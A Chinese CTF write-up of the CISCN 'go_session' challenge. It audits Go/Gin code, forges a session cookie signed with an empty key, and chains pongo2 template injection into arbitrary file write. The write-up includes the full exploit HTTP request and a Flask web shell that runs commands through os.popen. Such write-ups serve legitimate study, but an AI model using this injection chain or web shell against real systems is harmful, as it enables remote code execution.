CISCN 国赛web题目复现
go_session
代码审计
来看看这道go的session伪造和pongo2模板注入
给了源码先来做代码审计
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package mainimport ( "github.com/gin-gonic/gin" "main/route" ) func main () { r := gin.Default() r.GET("/" , route.Index) r.GET("/admin" , route.Admin) r.GET("/flask" , route.Flask) r.Run("0.0.0.0:80" ) }
这里主函数主要引入route文件和golang的Gin框架,设置三个路由/index
、/admin
、/flask
,并将项目运行在80端口上
route.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package routeimport ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" ) var store = sessions.NewCookieStore([]byte (os.Getenv("SESSION_KEY" )))func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, guest" ) } func Admin (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] != "admin" { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } name := c.DefaultQuery("name" , "ssti" ) xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!" ) if err != nil { panic (err) } out, err := tpl.Execute(pongo2.Context{"c" : c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200 , out) } func Flask (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { if err != nil { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name" , "guest" )) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) c.String(200 , string (body)) }
这是一个路由文件,设置了三个路由,应用了Gin框架和pongo2的模板引擎
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
这段代码读取环境变量中的SESSION_KEY用于生成session,但经过尝试发现没法获取到密钥,经过查询发现 os.Getenv
如果获取不存在的环境变量就会返回空值,可以大胆猜测密钥为空
index
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { session.Values["name" ] = "guest" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200 , "Hello, guest" ) }
Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点。
函数首先会获取名为 session-name 的cookie会话,然后判断会话中的name值是否为空,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。(注意无论伪造cookie是否成功,均回显hello,guest!)
当我们直接访问时回显hello,guest!
admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 func Admin (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] != "admin" { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } name := c.DefaultQuery("name" , "ssti" ) xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!" ) if err != nil { panic (err) } out, err := tpl.Execute(pongo2.Context{"c" : c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200 , out) }
Admin函数用于处理 /admin 下的请求,首先会获取会话,然后判断name字段的值是不是admin,如果不是就立即返回No,所以这里要进行session-name构造,使name字段的值为admin,然后进行下一步的操作,接着就是获取url请求中name字段的值,默认值是ssti,接着用EscapeString函数进行转义,防止XSS攻击,然后使用pongo2的模板引擎将字符串"Hello"和转义后的name字段值作为模板内容写入模板中,然后就是执行模板,将执行的结果存储在out中,最后返回out。(存在模板注入漏洞)
直接访问就会回显No
Flask
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 func Flask (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] == nil { if err != nil { http.Error(c.Writer, "N0" , http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name" , "guest" )) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) c.String(200 , string (body)) }
Flask函数用于处理 /flask 函数下的请求,首先获取会话,然后判断name字段是否为空,如果不为空则获取url中name字段的值,并将其与本地地址拼接,发送一个GET请求。请求结束后关闭响应体,然后读取响应题的内容,将其转换为字符串返回。简单来说就是获取name参数访问内部5000端口的flask服务并回显页面。直接访问会爆404错误
我们尝试传入name参数/flask?name=/
,引发报错拿到flask源码
server.py
1 2 3 4 5 6 7 8 9 10 app = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] return name + " no ssti" if __name__ == "__main__" : app.run(host="127.0.0.1" , port=5000 , debug=True )
看这个源码,很显然在5000端口搭建的是一个flask的程序,而且更重要的是,这个程序设置了debug=True,说明程序开启了热加载功能,代码在更改后会自动重新加载程序,这意味着我们对代码进行更改后就会立即生效
经验:flak框架开启debug的考点主要有两种,一是配合任何文件读取算pin码实现RCE,二是考察文件覆盖,也就是热加载
注意 :/flask
路由中的拼接逻辑,这个通过参数拼接访问本地5000端口上的flask程序,问题就出在拼接上,c.DefaultQuery()获取的是url请求中name参数的值直接拼接上去,如果我传入的name的值为空的话,c.DefaultQuery()就是空,那就相当于直接访问http://127.0.0.1:5000/
复现过程
我们一步一步来,想在/admin
路由中利用SSTI覆写文件之前需要先伪造cookie绕过检测,根据前面的猜测我们只需要略微更改session的生成函数,若if session.Values["name"] != "admin" {session.Values["name"] = "admin"
,并拉取源代码在本地运行即可伪造出cookie,若伪造成功应回显hello,admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 func Index (c *gin.Context) { session, err := store.Get(c.Request, "session-name" ) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name" ] != "admin" { session.Values["name" ] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } message := fmt.Sprintf("Hello, %s" , session.Values["name" ]) c.String(200 , message) }
注意在本地运行go代码时,除了下载SDK和相应库外,还可能报listen tcp :8080: bind: An attempt was made to access a socket in a way forbidden这类错误,原因是本地8080端口常有其他服务,导致端口占用。在main函数中该换其他端口号即可。
这样就算成功了,复制session到靶场访问/admin
回显hello,ssti开始下一步
这里我们用debug模式下的热加载替换flask源码实现RCE,要用到SaveUploadedFile方法实现任意文件写
{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
但这里要注意参数经过 html.EscapeString(name) 转义,会将双引号转义掉,所以要换一种方式,对于"file",gin.Context还提供了另一种方法,HandlerName() 方法,用于返回主处理程序的名称,这里返回的就是admin/route.Admin,然后可以用过滤器last获取最后一个字符串。对于 “/app/server.py”,可以在请求头中将Referer字段设置成 “/app/server.py”,然后用 Request.Referer()方法获取Referer的值。(还有其他方法,如Request.Host()、Request.UA ()等)
还需要更改的点,因为要从Referer头中获取源码路径,故添加Referer: /app/server.py
,且上传文件提交表单需要Content-Type 请求,同时需要边界字符串分割(可自定义),故添加Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
上传源代码也很简单,接收一个名为 name 的参数,并使用 os.popen() 执行该参数作为命令,并返回执行结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import *import osapp = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] file=os.popen(name).read() return file if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000 , debug=True )
完整数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1 Host : 8b07fdbf-48c8-44c7-9482-7c2c5ac378d9.challenge.ctf.showCache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Referer : /app/server.pyContent-Type : multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqNDCookie : session-name=MTY5NzIwNDMzMXxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwR0sKvw-X3wCZB3mczzdP14XPXLMSOjQd_CcqOagipbg==Connection : closeContent-Length : 429Content-Disposition: form-data; name ="n"; filename="1.py" Content-Type : text /plain from flask import *import osapp = Flask(__name__) @app.route('/' ) def index (): name = request.args['name' ] file=os.popen(name ).read () return file if __name__ == "__main__": app.run(host="0.0.0.0", port=5000 , debug =True )
接下来访问/flask
路由传参查看环境变量即可?name=?name=env